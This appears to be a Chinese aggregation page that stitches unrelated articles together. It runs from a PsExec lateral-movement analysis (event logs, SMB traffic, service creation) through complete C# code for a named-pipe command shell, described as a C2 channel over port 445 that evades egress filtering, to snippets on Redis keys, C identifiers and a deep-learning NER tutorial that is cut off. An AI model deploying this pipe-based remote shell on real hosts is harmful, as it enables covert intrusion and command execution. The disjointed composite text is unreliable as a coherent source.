精华内容
参与话题
问答
  • CATALOGpsexec部分已有资产从被连接主机(lisi)的事件来看psexec到底做了什么从攻击机的流量上来看psexec命令背后做了什么命名管道我理解的命名管道利用具体代码实现服务端代码客户端代码 psexec部分 psexec一般会被...

    psexec部分

    psexec一般会被用来做横移,只要我们拥有对方主机的账号密码就可以做到远程控制对方主机,我们首先看看但我们执行psexec这个程序的时候,到底发生了什么。

    已有资产

    用户 ip 主机名
    zhangsan 192.168.23.23 red
    lisi 192.168.23.99 blue

    这个实验实现的是从zhangsan的主机执行psexec使用lisi的账号连接lisi的主机

    从被连接主机(lisi)的事件来看psexec到底做了什么

    这个是事件组的开头,我们可以看到有两个logon类型的日志
    在这里插入图片描述

    点开第一个日志可以发现是我们从zhangsan主机对lisi的电脑的一个登陆请求,且登陆成功,且认证方式为ntlm
    在这里插入图片描述
    在这里插入图片描述

    打开第二个时间会发现,是申请在lisi主机上登陆zhangsan的账号,显示失败。
    在这里插入图片描述
    这四个日志内容是记录了zhangsan的主机向lisi的主机写psexsvc.exe这个文件到lisi主机的c:\windows\目录下:
    在这里插入图片描述
    在这里插入图片描述

    紧接着使用ipc通道并调用svcctl这个服务,这个服务能使我们开启指定的远程服务
    在这里插入图片描述

    紧接着就是一大堆的文件操作,因为安装了360我发现这几乎都是360在搞事情
    在这里插入图片描述
    上图中最后有四个detailed file share。分别是
    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    这个相当于建立了四个管道,一个用于服务本身,另外的管道用于重定向进程的 stdin、stdout、stderr。用pipelist工具查询管道列表也应征了我们的推断:
    在这里插入图片描述
    再接下来就是psexesvc来显式的登陆lisi的账号了,以下两个事件一个表示试图登陆,第二个表示登陆成功:
    在这里插入图片描述

    在这里插入图片描述
    到这里就全部结束了,我们会使用创建出来的命名管道来进行通信远程控制对方电脑。我的理解最后一步创建命名管道很像linux上的反弹shell,具体原理可以参照我的这篇文章:linux反弹shell原理

    上述实现描述了psexec所做的事情:
    1.登陆远程主机
    2.连接admin$共享
    3.写入psexesvc.exe文件到共享目录下也就是c:\windows下
    4.利用ipc命名管道调用svcctl服务
    5.利用svcctl服务开启psexesvc服务
    6.生成4个命名管道以供使用

    从攻击机的流量上来看psexec命令背后做了什么

    在这里插入图片描述
    上图中描述的已经足够清楚,刚开始做了三件事,tcp3次握手连接目标445端口,协商使用何种smb协议,然后进行ntlm认证。
    在这里插入图片描述
    接下来首先尝试连接IPC$管道,然后再尝试连接admin$,如上图所示。

    在这里插入图片描述
    接下来就会出现上图所示的数据包,上图表示将向目标的admin$共享目录下写入psexec.exe文件。

    在这里插入图片描述
    紧接着就是写入文件了,可以看到后续的tcp数据包的内容,里面含有4d5a的数据这个是pe文件的mz头如上图所示。

    在这里插入图片描述
    到这一步就已经代表完全写完了psexesvc这个文件,如上图所示。

    接着调用svcctl并开启psexec服务
    在这里插入图片描述
    可以看到下列数据包就是svcctl协议了,
    在这里插入图片描述
    查看info为openservicew request的数据包发现,他就是在打开psexesvc服务。
    在这里插入图片描述
    可以看到系统关闭了svcctl服务的请求,并去请求psexesvc服务并创建第一个psexecsvc命名管道
    在这里插入图片描述

    下面就会创建剩余三个命名管道命名管道
    在这里插入图片描述
    到此结束了。
    整体流程跟从被连接主机的事件看到的流程基本一致。基本都是ntlm认证、连接共享目录admin$、写文件psexesvc到共享目录、调用svcctl服务来间接调用psexesvc服务、创建四个命名管道。


    我们发现了psexec最终会建立命名管道,那到底什么是命名管道呢?为什么要用命名管道?而且ipc$连接的原理其实也与命名管道有关,因此接下来我们就谈谈命名管道的那些事。


    命名管道

    我理解的命名管道

    首先我们需要明确的一点,命名管道基于smb协议通信,smb,smb,不是tcp。重要的事情说三遍。它是用来让两个进程间进行通信的,这两个进程可以是本地进程,也可以是远程进程。命名管道有点类似于socket连接,是用来传输数据的,可以设置具体的权限让指定权限的进程才能连接命名管道,理论上每个程序都能连接命名管道,只是连接之后能做的事情不同,具体能做什么事跟服务端的配置有关系。
    下面总结几点:
    1.命名管道是C/S架构,必须让服务端某个进程先创建命名管道。
    2.命名管道可以背任何符合权限的进程去访问,且何种权限可以访问是可以自定义的。
    3.客户端可以是本地的某个进程或者远程的某个进程,本地进程访问命名管道方式为\.\pipe\pipename,远程进程访问命名管道方法为\ip\pipe\pipename。

    利用

    可以写一个服务端,把接收到的数据当作命令去执行,然后将结果返回给客户端,这个就像是linux中的管道了但是windows中的管道要复杂的多。
    当系统限制了其他tcp端口出站的时候,可以使用命名管道这种技术创建一个c2服务器,因为其走的是smb协议445端口,这个端口一般都是默认放行的不会被禁止。最终就可以实现反弹shell。实现效果如下:
    在这里插入图片描述

    具体代码实现

    代码地址:https://github.com/malcomvetter/NamedPipes

    服务端代码

    using System;
    using System.Diagnostics;
    using System.IO;
    using System.IO.Pipes;
    using System.Text;
    //上述全部是命名空间,类似于python中的import
    
    namespace Server //命名空间声明
    {
        class Server
        {
            static void Main(string[] args) //程序入口点
            {
            /**当不确定变量是什么类型的时候,用var。NamedPipeServerStream这个类是
            System.IO.Pipes命名空间下的。用using的方式使用它就相当于python中的with
            打开文件一样,在一定程度上防止忘记释放某些资源,也可以不使用using。
    		**/
    
    
                using (var pipe = new NamedPipeServerStream(
                    "psexecsvc",
                    PipeDirection.InOut,
                    NamedPipeServerStream.MaxAllowedServerInstances,
                    PipeTransmissionMode.Message))
    				/**设置管道名为psexecsvc,管道通信方式为双向通信,双方都可以发送信息
    				也都可以接收信息,最大连接数为默认最大连接数,最后一个参数代表的是采
    				用信息流的方式来传递数据,而不是字节流,切记一定要用信息流,因为但凡
    				使用字节流,那么发送过的信息对方不一定能够全部接收到,而信息流可以保
    				证发送的数据可以全部接收到。
    				**/
                {
                    Console.WriteLine("[*] Waiting for client connection...");
                    pipe.WaitForConnection();//等待管道的另一端发来的连接
                    Console.WriteLine("[*] Client connected.");
                    while (true)
                    {
                    	/**
                    	将从命名管道中接收到的字节类型的数组传递给messageBytes,这个字
                    	节数组就是客户端发送过来的数据的二进制形式。
                    	**/
                        var messageBytes = ReadMessage(pipe);
                        //将字节类型的数组进行UTF-8解码生成的字符串存储到line中
                        var line = Encoding.UTF8.GetString(messageBytes);
                        Console.WriteLine("[*] Received: {0}", line);
                       	//将接收到的字符串转为消协,如果内容是exit,则退出程序。
                        if (line.ToLower() == "exit") return;
    					
    					/**
    					创建一个ProcessStartInfo类,这个类用来指定某个进程的相关属性。
    					**/
                        var processStartInfo = new ProcessStartInfo
                        {
                        	//启动cmd
                            FileName = "cmd.exe",
                            //参数为 /c + line,line为从命名管道中接收到到数据
                            Arguments = "/c " + line,
                            //从定西那个标准输出
                            RedirectStandardOutput = true,
                            //重定向标准错误输出
                            RedirectStandardError = true,
                            //通过将此属性设置false可以重定向标准输入、输出和错误流。
                            UseShellExecute = false
                        };
                        try
                        {
                        	/**
                        	启动前面定义了信息的进程,如果出错则跳转到catch块。返回的是
                        	一个process类,我的理解是这个process类是一个程序句柄,可以
                        	让你对程序进行指定的操作,如开启结束等。
                        	**/
                            var process = Process.Start(processStartInfo);
                            
                            /**
    						读取进程的所有的标准输出,并将标准错误输出与标准输出合成为一
    						个字符串。
    						**/
                            var output = process.StandardOutput.ReadToEnd();
                            output += process.StandardError.ReadToEnd();
                            //等待线程运行结束,可以理解成等待上面的这个命令运行结束
                            process.WaitForExit();
                            //如果output等于空或者null,则给其赋值为换行符。
                            if (string.IsNullOrEmpty(output))
                            {
                                output = "\n";
                            }
                            //将输出用UTF编码为一个byte数组。
                            var response = Encoding.UTF8.GetBytes(output);
                            //将这个byte数组的全部数据写到命名管道中管道中。
                            pipe.Write(response, 0, response.Length);
                        }
                        catch (Exception ex)
                        {
                        	/**如果try块中的某行代码运行出错则捕捉错误,这个错误是
                        	string类型表示的,将这个错误转换为byte数组并输出到命名管道
                        	中。
                        	**/
                            Console.WriteLine(ex);
                            var response = Encoding.UTF8.GetBytes(ex.Message);
                            pipe.Write(response, 0, response.Length);
                        }
                    }
                }
            }
    
            private static byte[] ReadMessage(PipeStream pipe)
            {
                byte[] buffer = new byte[1024];//创建一个可以存1024个byte数据的数组
                //创建一个内存流的类用来进行数据的传递
                using (var ms = new MemoryStream())
                {
                    do
                    {
                		/**从命名管道中读取数据,从0开始读取字节块,最多读取
                		buffer.Length也就是1024个,然后将读出来的字节的数量返回给
                		redBytes,将读到的数据写到buffer中。
                		**/
                        var readBytes = pipe.Read(buffer, 0, buffer.Length);
                        /**
                        从buffer这个缓冲区中从0字节开始读取数据,读到redBytes字节,然
                        后将这些数据写到当前的内存流中。
                        **/
                        ms.Write(buffer, 0, readBytes);
                    }
                    //如果命名管道中的信息没有读取完则会一直执行读取操作。
                    while (!pipe.IsMessageComplete);
    
                    return ms.ToArray();
                    /**
                    将内存流中的数据写到数组中,返回一个Byte类
                    型的数组。
                    **/
                }
            }
        }
    }
    
    

    整个服务端代码运行逻辑为:
    1.创建命名管道,设置传输方式为message类型与双向传递inout,并将标准输出与错误输出重定向
    2.等待客户端连接
    3.连接成功后从命名管道中读取客户端传输过来的字节数组类型的数据,将数据存储在创建的内存流中。
    4.将字节数组类型的数据转换为string类型,这个数据其实就是客户端传送过来的命令
    5.配置进程的相关信息,如参数等
    6.利用函数启动进程执行命令
    7.对命令执行结果进行格式处理并输出结果到命名管道中
    8.回到第三条

    客户端代码

    using System;
    using System.IO;
    using System.IO.Pipes;
    using System.Text;
    
    namespace Client
    {
        class Client
        {
            static void Main(string[] args)
            {
            	//连接本地计算机上的命名管道,双向传输数据的模式,管道名为psexecsvc
                using (var pipe = new NamedPipeClientStream("localhost", 		
                "psexecsvc", PipeDirection.InOut))
                {
                	//连接到命名管道,超市时间为5000毫秒
                    pipe.Connect(5000);
                    //设置数据的读取方式为message
                    pipe.ReadMode = PipeTransmissionMode.Message;
                    do
                    {
                        Console.Write("csexec> ");
                        //从命令行接收数据
                        var input = Console.ReadLine();
                        //如果接收到的数据为空或者null,则跳出本次循环
                        if (String.IsNullOrEmpty(input)) continue;
                        //将输出的字符串转换为byte数组类型并存储
                        byte[] bytes = Encoding.Default.GetBytes(input);
                        //将转换格式后的数据写到命名管道中
                        pipe.Write(bytes, 0, bytes.Length);
                        //将输出的自负全部改成小写然后判断是否等于exit如果是则退出程序
                        if (input.ToLower() == "exit") return;
                        //从命名管道中读取数据
                        var result = ReadMessage(pipe);
                        //输出数据
                        Console.WriteLine(Encoding.UTF8.GetString(result));
                        Console.WriteLine();
                    } while (true);
                }
            }
    
            private static byte[] ReadMessage(PipeStream pipe)
            {
                byte[] buffer = new byte[1024];
                using (var ms = new MemoryStream())
                {
                    do
                    {
                        var readBytes = pipe.Read(buffer, 0, buffer.Length);
                        ms.Write(buffer, 0, readBytes);
                    }
                    while (!pipe.IsMessageComplete);
    
                    return ms.ToArray();
                }
            }
        }
    }
    
    展开全文
  • Redis中key的命名规范和值的命名规范

    万次阅读 2020-08-17 13:11:19
    数据库中得热点数据key命名惯例 表名:主键名:主键值:字段名 例如 user:id:0001:name 例如 user:id:0002:name 例如 order:id:s2002:price 上面的key对应的值则可以是 存放的方式 key value 优点 ...

    数据库中得热点数据key命名惯例

    表名:主键名:主键值:字段名
    例如 user:id:0001:name
    例如 user:id:0002:name
    例如 order:id:s2002:price

    上面的key对应的值则可以是

    存放的方式 key value 优点
    单独的key:value形式 order:id:s2002:price 2000 方便简单的操作,例如incr自增或自减
    json格式 user:id:0001 {id:0001,name:"张三"} 方便一次性存和取数据,但是不方便更新数据
    展开全文
  • C语言标识符命名规则

    万次阅读 多人点赞 2018-05-27 14:46:40
    C语言的标识符命名规则 C语言的标识符一般应遵循如下的命名规则: 1 标识符必须以字母a~z、 A~Z或下划线开头,后面可跟任意个(可为0)字符,这些字符可以是字母、下划线和数字,其他字符不允许出现在标识符中。...

    C语言的标识符命名规则 
    C语言的标识符一般应遵循如下的命名规则: 
    1 标识符必须以字母a~z、 A~Z或下划线开头,后面可跟任意个(可为0)字符,这些字符可以是字母、下划线和数字,其他字符不允许出现在标识符中。 
    2 标识符区分大小写字母 
    3 标识符的长度,c89规定31个字符以内,c99规定63个字符以内 
    4 C语言中的关键字,有特殊意义,不能作为标识符 
    5 自定义标识符最好取具有一定意义的字符串,便于记忆和理解。

    其实,这和大多数的语言规定差不多。养成良好的命名规范,才能写出更加具有可读性的程序。

    展开全文
  • 基于深度学习的命名实体识别与关系抽取

    万次阅读 多人点赞 2019-07-18 22:12:50
    基于深度学习的命名实体识别与关系抽取 摘要:构建知识图谱包含四个主要的步骤:数据获取、知识抽取、知识融合和知识加工。其中最主要的步骤是知识抽取。知识抽取包括三个要素:命名实体识别(NER)、实体关系抽取...

    基于深度学习的命名实体识别与关系抽取

    作者:王嘉宁 QQ:851019059 Email:lygwjn@126.com 个人网站:http://www.wjn1996.cn
    【备注:此博文初次编辑为2018年11月23日,最新编辑为2019年10月24日】
    在这里插入图片描述
    夏栀的博客——王嘉宁的个人网站 正式上线,欢迎访问关注:http://www.wjn1996.cn


    摘要:构建知识图谱包含四个主要的步骤:数据获取、知识抽取、知识融合和知识加工。其中最主要的步骤是知识抽取。知识抽取包括三个要素:命名实体识别(NER)实体关系抽取(RE)属性抽取。其中属性抽取可以使用python爬虫爬取百度百科、维基百科等网站,操作较为简单,因此命名实体识别(NER)和实体关系抽取(RE)是知识抽取中非常重要的部分,同时其作为自然语言处理(NLP)中最遇到的问题一直以来是科研的研究方向之一。
      本文将以深度学习的角度,对命名实体识别和关系抽取进行分析,在阅读本文之前,读者需要了解深度神经网络的基本原理、知识图谱的基本内容以及关于循环神经网络的模型。可参考本人编写的博文:(1)基于深度学习的知识图谱综述;(2)深度神经网络
      本文的主要结构如下,首先引入知识抽取的相关概念;其次对词向量(word2vec)做分析;然后详细讲解循环神经网络(RNN)、长短期记忆神经网络(LSTM)、门控神经单元模型(GRU);了解基于文本的卷积神经网络模型(Text-CNN);讲解隐马尔可夫模型(HMM)与条件随机场等图概率模型(CRF);详细分析如何使用这些模型实现命名实体识别与关系抽取,详细分析端到端模型(End-to-end/Joint);介绍注意力机制(Attention)及其NLP的应用;随后介绍知识抽取的应用与挑战,最后给出TensorFlow源码、推荐阅读以及总结。本文基本总结了整个基于深度学习的NER与RC的实现过程以及相关技术,篇幅会很长,请耐心阅读

    • 一、相关概念
    • 二、序列模型数据
    • 三、循环神经网络
    • 四、循环神经网络的缺陷
    • 五、长短期记忆神经网络(LSTM)与门控神经单元(GRU)
    • 六、长期依赖模型的优化
    • 七、概率图模型(PGM)
    • 八、运用Bi-LSTM和CRF实现命名实体识别
    • 九、卷积神经网络
    • 十、基于文本的卷积神经网络(Text-CNN)的关系抽取
    • 十一、基于依存关系模型的关系抽取
    • 十二、基于远程监督的关系抽取
    • 十三、注意力机制(Attention)
    • 十四、基于注意力机制的命名实体识别与关系抽取
    • 十五、三元组的存储——图形数据库
    • 十六、Tensorflow实现命名实体识别与关系抽取
    • 十七、推荐阅读书籍
    • 十八、项目实例1(面向智慧农业的知识图谱及其应用系统 · 上海 · 华东师范大学数据科学与工程学院)
    • 十九、项目实例2(博主的本科毕业设计&计算教育——智学AI·基于深度学习的学科知识图谱)
    • 二十、总结

    一、相关概念

      在传统的自然语言处理中,命名实体识别与关系抽取是两个独立的任务,命名实体识别任务是在一个句子中找出具有可描述意义的实体,而关系抽取则是对两个实体的关系进行抽取。命名实体识别是关系抽取的前提,关系抽取是建立在实体识别之后。

    1.1 实体与关系

      实体是指具有可描述意义的单词或短语,通常可以是人名、地名、组织机构名、产品名称,或者在某个领域内具有一定含义的内容,比如医学领域内疾病、药物、生物体名称,或者法律学涉及到的专有词汇等。实体是构建知识图谱的主要成员。
      关系是指不同实体之间的相互的联系。实体与实体之间并不是相互独立的,往往存在一定的关联。例如“马云”和“阿里巴巴”分别属于实体中的人名和机构名,而它们是具有一定关系的。
      在命名实体识别和关系抽取之后,需要对所产生的数据进行整合,三元组是能够描述整合后的最好方式。三元组是指(实体1,关系,实体2)组成的元组,在关系抽取任务中,对任意两个实体1和实体2进行关系抽取时,若两者具有关系,则它们可以构建成三元组。例如一句话“马云创办了阿里巴巴”,可以构建的三元组为(“马云”,“创办”,“阿里巴巴”)。

    1.2 标注问题

      监督学习中有三种问题,分别是分类问题、回归问题和标注问题。分类问题是指通过学习的模型预测新样本在有限类集合中对应的类别;回归问题是指通过学习的模型拟合训练样本,使得新样本可以预测出一个数值;标注问题则是根据输入的序列数据对其用预先设置的标签进行依次标注。
      本文的思想便是序列标注,通过输入的序列数据,选择相应的模型对样本进行训练,完成对样本的标注任务。
      常用的标注任务包括命名实体识别、词性标注、句法分析、分词、机器翻译等,解决序列标注问题用到的深度学习模型为循环神经网络。

    二、序列模型数据

      在深度神经网络一文对深度神经网络的分析中已经指出,传统的BP神经网络只能处理长度固定,样本之间相互独立的数据,而对于处理命名实体识别、关系抽取,以及词性标注、情感分类、语音识别、机器翻译等其他自然语言处理的问题中,文本类的数据均以句子为主,而一个句子是由多个单词组成,不同的句子长度不一致,因此对于模型来说,大多数是以单词为输入,而单个词往往没有特定的意义,只有多个词组合在一起才具有一定的含义。例如对于“马云”一词,单个词“马”可能表达的是动物,“云”一词可能表示的是天上飘得云彩,也可以表示“云计算”的云,而“马云”却表示人名。所以这一类数据之间是有关联的。我们对句子级别的数据称为序列模型数据
      对于文本类的序列模型数据,通常是不能直接作为模型的输入数据的,需要进行预处理。

    2.1 one-hot向量

      将句子中的单词转换为数字的一种方法是采用one-hot向量。例如训练集中有3000个不重复的单词,根据其在词汇表中的排序,可以依次为其编号,例如“a”编号为0,“book”的编号为359,“water”的编号2441。因此这3000个单词都有唯一的编号。
      为了能通过向量形式表达,one-hot向量是指除了下标为该单词编号所对应的的值为1以外其他都为0。例如一个集合只有一句话“马云在杭州创办了阿里巴巴”,其中只有11个不重复的词,分别编号0-10,则“马”字的one-hot向量为[1,0,0,0,0,0,0,0,0,0,0][1,0,0,0,0,0,0,0,0,0,0],“阿”字的one-hot向量是[0,0,0,0,0,0,0,0,1,0,0][0,0,0,0,0,0,0,0,1,0,0]
      one-hot向量能够很清楚得为每一个词进行“数值化表示”,将人理解的内容转换为计算机可以理解的内容。
      Ps:有关onehot向量的详解:OneHot编码知识点数据预处理:独热编码(One-Hot Encoding)

    2.2 词嵌入向量(word embeddings)

      one-hot向量虽然能够简单的表示一个词,但是却存在三个问题:
      (1)one-hot向量是稀疏向量,并不能存储相应的信息;
      (2)当语料库中包含的词汇很多时(上百万上千万),一个one-hot向量的维度将会很大,容易造成内存不足;
      (3)序列模型的数据需要能够体现出词语词之间的关联性,单纯的one-hot向量不能体现出关联性。例如对于词汇“good”和“well”都表示不错的意思,再某些程度上具有相似关联,而one-hot只是简单的编号,并未体现这层相似性。
    因此,为了解决one-hot带来的问题,引入词向量概念。
      词向量有许多种表达方式,传统的方法是统计该词附近的词出现的次数。基于深度学习的词向量则有word embeddings,其是通过谷歌提出的word2vec方法训练而来。
      word2vec方法是将高维度的one-hot向量进行降维,通常维度设置为128或者300,其通过神经网络模型进行训练。基于神经网络的词向量训练有两种模型,分别是CBOW和Skip-Gram模型,如下图

    图1
      (1)CBOW模型是将一个词所在的上下文中的词作为输入,而那个词本身作为输出。通常设置一个窗口,不断地在句子上滑动,每次滑动便以窗口中心的词作为输出,其他词作为输入。基于大量的语句进行模型训练,通过神经网络的梯度下降法进行调参。最终神经网络的权重矩阵即为所有词汇的word embeddings。
      (2)Skip-Gram模型与CBOW相反,其随机选择窗口内的一个词的one-hot向量作为输入,来预测其他所有词可能出现的概率,训练后的神经网络的权重矩阵即为所有词汇的word embeddings。
      word2vec对训练好的神经网络,需要通过遍历所有词汇表抽取出所有词汇的word embedding,常用的优化模型是哈弗曼树(Hierarchical Softmax)和负采样(Negative Sampling)。
      Ps:关于word2vec训练详细解读可参考:如果看了此文还不懂 Word2Vec,那是我太笨Word Embedding与Word2Vec;关于word2vec的模型优化可参考基于Hierarchical Softmax的模型概述基于Negative Sampling的模型概述

    三、循环神经网络

      循环神经网络是BP神经网络的一种改进,其可以完成对序列数据的训练。根据前面讲解内容,循环神经网络需要能够记住每个词之间的关联性,因为每个词可能会受到之前的词的影响。

    3.1 循环神经网络的结构

      循环神经网络与BP神经网络不同之处在于其隐含层神经元之间具有相互连接。循环神经网络是基于时间概念的模型,因此对于横向的连接每一个神经元代表一个时间点。模型如图所示:

    在这里插入图片描述
      对于时刻 tt 的输入为 xtx_t,其中 xt={xt1,xt2,...}x_t=\{x_{t1},x_{t2},...\} 即为一个word embedding,输入到中心圆圈(隐层状态神经元)的箭头表示一个神经网络,权重矩阵为 UU,偏向为 bb,对于时间 t1t-1 时刻,中心的圆圈已经存在一个值 st1s_{t-1} ,该圆圈与tt 时刻的圆圈的箭头也表示一个神经网络,其权重矩阵为 WW,偏向也为 bb 。循环神经网络的关键即为某一时刻 tt 的隐层状态神经元的值不仅取决于当前的输入,也取决于前一时刻的隐层状态,即为:
    st=f(Wst1+Uxt+b)s_{t}=f(Ws_{t-1}+Ux_t+b)

    其中f()f(·)表示激活函数。
      对于网络的输出部分,循环神经网络输出个数与输入数量一致,时刻 tt 的输出为:
    y^t=ot=softmax(Vst+c)\hat y_t = o_t=softmax(Vs_t+c)

      由于对于序列模型来说,数组的长度是不一致的,即循环神经网络的输入神经元长度是不确定的,因此各个神经网络采用了共享参数 WUVbcW,U,V,b和c
      循环神经网络的剖面图如下图,该图能够比较直观的认识循环神经网络的空间结构(图片为转载,可忽略里面的参数):

    在这里插入图片描述

    3.2 循环神经网络的训练

      循环神经网络的训练与传统的BP神经网络训练方法一样,分为前向传播和反向传播,前向传播的公式为:
    st=f(Wst1+Uxt+b)s_{t}=f(Ws_{t-1}+Ux_t+b)

    y^t=ot=softmax(Vst+c)\hat y_t = o_t=softmax(Vs_t+c)

    假设损失函数为 LL。反向传播采用BPTT(基于时间的反向梯度下降)算法计算各个参数的梯度。输出层的神经网络梯度下降与BP神经网络的一样。而对于隐含层状态神经元部分,由于其在前向传播过程中的值来自于两个方向,同时又流向另外两个方向,因此在反向传播过程中,梯度将来自当前时刻的输出和下一时刻的状态,同时梯度流向该时刻的输入和上一时刻的状态,如图(Et=otE_t=o_t):

    在这里插入图片描述
    因此,假设时间长度为 nn ,对于某一时刻 t(0<t<n)t(0<t<n),隐层状态神经元的梯度将是不断累加的。下面给出循环神经网络的参数 WUVbcW,U,V,b,c 的梯度:
    Lc=t(otc)TLot=tLot\frac{\partial L}{\partial c}=\sum_t (\frac{\partial o_t}{\partial c})^T\frac{\partial L}{\partial o_t}=\sum_t \frac{\partial L}{\partial o_t}

    Lb=t(stbt)TLst=tdiag(1(st)2)Lst\frac{\partial L}{\partial b}=\sum_t (\frac{\partial s_t}{\partial b_t})^T\frac{\partial L}{\partial s_t}=\sum_t diag(1-(s_t)^2)\frac{\partial L}{\partial s_t}

    LV=ti(Loti)TotiV=tLotstT\frac{\partial L}{\partial V}=\sum_t \sum_i (\frac{\partial L}{\partial o_{ti}})^T\frac{\partial o_{ti}}{\partial V}=\sum_t \frac{\partial L}{\partial o_t}s_t^T

    LW=t(Lsti)TstiWt=tdiag(1(st)2)Lstst1T\frac{\partial L}{\partial W}=\sum_t (\frac{\partial L}{\partial s_{ti}})^T\frac{\partial s_{ti}}{\partial W_t}=\sum_t diag(1-(s_t)^2)\frac{\partial L}{\partial s_t}s_{t-1}^T

    LU=t(Lsti)TstiUt=tdiag(1(st)2)LstxtT\frac{\partial L}{\partial U}=\sum_t (\frac{\partial L}{\partial s_{ti}})^T\frac{\partial s_{ti}}{\partial U_t}=\sum_t diag(1-(s_t)^2)\frac{\partial L}{\partial s_t}x_{t}^T

      由于循环神经网络的共享参数机制,使得网络可以用很少的参数来构建一个大的模型,同时减少了计算梯度的复杂度。
      Ps:关于BPTT算法详细推导,可参考博文:基于时间的反向传播算法BPTT(Backpropagation through time),书籍:人民邮电出版社的《深度学习》233页。

    3.3 其他类型的循环神经网络

      上述的循环神经网络结构是标准的模型,对于不同的应用会产生不同的模型。在基于循环神经网络的情感分类问题中,模型的输入是长度不一的句子,而模型的输出往往只有一个(是积极的还是消极的评论),因此这属于多对一模型,如图:

    在这里插入图片描述

    对于音乐的生成问题,输入的是一段声音,希望模型输出对于的音符,这种模型为一对多,如图:

    在这里插入图片描述

    对于基于循环神经网络的机器翻译问题,输入的是不定长的待翻译句子,而输出的也是不定长的新句子,即模型的输入与输出长度不一致,这一类属于多对多模型,通常也叫做编码解码器,如图:

    在这里插入图片描述

    3.4 双向循环神经网络

      在命名实体识别问题中,输入的数据是一个句子,往往一个句子中的词不仅受到前面词的影响,同时也可能受到后面的词的影响,例如句子“王小明是班级上学习最好的同学”中之所以可以识别出人名实体“王小明”,是因为其后的关键词“同学”,而该实体前面没有词可以提供识别的依据。普通的循环神经网络仅考虑了前一时刻的影响,却未考虑后一时刻的影响,因此需要引入了双向循环神经网络模型。
      双向循环神经网络的结构如下:

    在这里插入图片描述

      其由输入层、前向隐含层、后向隐含层和输出层组成。输入层输入序列数据,前向隐含层的状态流向是顺着时间,后向隐含层的状态流向是逆着时间的,因此前向隐含层可以记住当前时刻之前的信息,而后向隐含层可以记住当前时刻未来的信息。通过输出层将前向、后向隐含层的向量进行拼接或者求和。
      双向循环神经网络的前向传播式子为:
    ht=fF(UFxt+WFht1+bF)\overrightarrow{h_t}=f_F(U_Fx_t+W_F\overrightarrow{h_{t-1}}+b_F)

    ht=fB(UBxt+WBht1+bB)\overleftarrow{h_t}=f_B(U_Bx_t+W_B\overleftarrow{h_{t-1}}+b_B)

    ht=[ht,ht]ht=12(ht+ht)h_t=[\overleftarrow{h_t},\overrightarrow{h_t}] 或 h_t=\frac{1}{2}(\overleftarrow{h_t}+\overrightarrow{h_t})

    y^t=ot=softmax(Vht+c)\hat y_t=o_t=softmax(Vh_{t}+c)

      双向循环神经网络的梯度下降法仍然使用BPTT算法,对于前向和后向隐含层,梯度的流向是互不干扰的,因此可以用普通的循环神经网络梯度下降的方法对前向和后向分别计算。

    3.5 深度循环神经网络

      循环神经网络的结构还是属于浅层模型,可以观察其结构图,只有两层网络组成。为了提高模型的深度,一种深度循环神经网络被提出,其结构如图所示:

    深度循环神经网络

    可知每一层便是一个循环神经网络,而下一层的循环神经网络的输出作为上一层的输入,依次进行迭代而成。
      深度循环神经网络的应用范围较少,因为对于单层的模型已经可以实现对序列模型的编码,而深层次模型会造成一定的过拟合和梯度问题,因此很少被应用。

    四、循环神经网络的缺陷

      在命名实体识别任务中,通过训练循环神经网络模型,实体识别的精度往往可以达到60%-70%,同时以其共享参数的机制,构建一个较大的循环神经网络不需要像BP网络那样需要庞大的参数,因此模型的训练效率也大大提高。
      但是循环神经网络有两个致命的缺陷,在实验中经常遇到:
      (1)容易造成梯度爆炸或梯度消失问题。当序列长度为100时,第1个输入的梯度在传递100层之后,可能会导致指数上升或者指数下降。
      (2)对于较长的序列,模型无法能够长期记住当前的状态。例如对于句子“这本书,名字叫平凡的世界,白色封皮,有一个书签夹在里面,旁边放着一支笔,…,是我的”,若要提取出有效的信息“这本书是我的”,需要长久的记住“这本书”,直到遇到“是我的”为止,而对于省略号完全可以无限的长。因此普通的循环神经网络无法记住这么久。
      因此为了解决这两个问题,需要对循环神经网络做出改进,使得其能够长期记住某一状态。

    五、长短期记忆神经网络(LSTM)与门控神经单元(GRU)

      为了解决循环神经网络的缺陷,引入门控概念。通过设置门结构来选择性的决定是否记忆或遗忘。

    5.1 长短期记忆神经网络(LSTM)

      长短期记忆神经网络(LSTM)巧妙的运用的门控概念,实现了可以长期记忆一个状态。LSTM的模型结构与循环神经网络结构是一样的,如图:

    在这里插入图片描述

    不同的是隐含层的部分不是简单的求和。隐含层的部分又称为LSTM单元,如图:

    LSTM单元

    其主要由三个门控组成,分别是遗忘门、输入门和输出门,中间的Cell称为记忆细胞,用来存储当前的记忆状态。
    (1)遗忘门:遗忘门的作用是决定记忆细胞中丢弃什么信息。采用的是sigmod激活函数,其数据来源于当前的输入、上一时刻的隐层状态以及上一时刻的记忆细胞,前向传播的公式为:
    ft=σ(Wxfxt+Whfht1+Wcfct1+bf)f_t=\sigma(W_{xf}x_t+W_{hf}h_{t-1}+W_{cf}c_{t-1}+b_f)

    ftf_t 值取值为0或1,0表示完全丢弃,1表示完全保留。
    (2)输入门:输入门决定了需要新增的内容。采用的是sigmod激活函数,前向传播公式为:
    it=σ(Wxixt+Whiht1+Wcict1+bi)i_t=\sigma(W_{xi}x_t+W_{hi}h_{t-1}+W_{ci}c_{t-1}+b_i)

    iti_t 的值为0或1,0表示不添加当前的内容,1表示新增当前的内容,而待新增的内容取决于当前时刻的输入以及上一时刻的隐含状态(这与普通的循环神经网络是一致的),待新增内容记为 ztz_t
    zt=tanh(Wxcxt+Whcht1+bc)z_t=tanh(W_{xc}x_t+W_{hc}h_{t-1}+b_c)

      Ps:遗忘门与输入门的计算公式中输入的数据都是一模一样的,区别两者功能的便是相应的权重矩阵和偏向。
    (3)记忆细胞:记忆细胞内存储着已经记住的内容,当确定当前时刻是否保留过去的记忆(即 ftf_t 的取值)和是否记住新的内容(即 iti_t 的取值),于是更新记忆细胞,公式为:
    ct=ftct1+itztc_t=f_tc_{t-1}+i_tz_t

      更新细胞的公式可以这么理解:ct1c_{t-1} 表示 t1t-1 时刻LSTM模型记住的内容,当在 tt 时刻时将面临两个问题,是否继续记住之前(t1t-1 时刻)的内容?是否需要记住当前新的内容?因此将有四种情况:
      (1)当 ft=0f_t=0it=0i_t=0 时,ct=0c_t=0,即忘记过去全部内容且不记住新的内容;
      (2)当 ft=0f_t=0it=1i_t=1 时,ct=ztc_t=z_t ,即忘记过去全部内容,但记住新的内容;
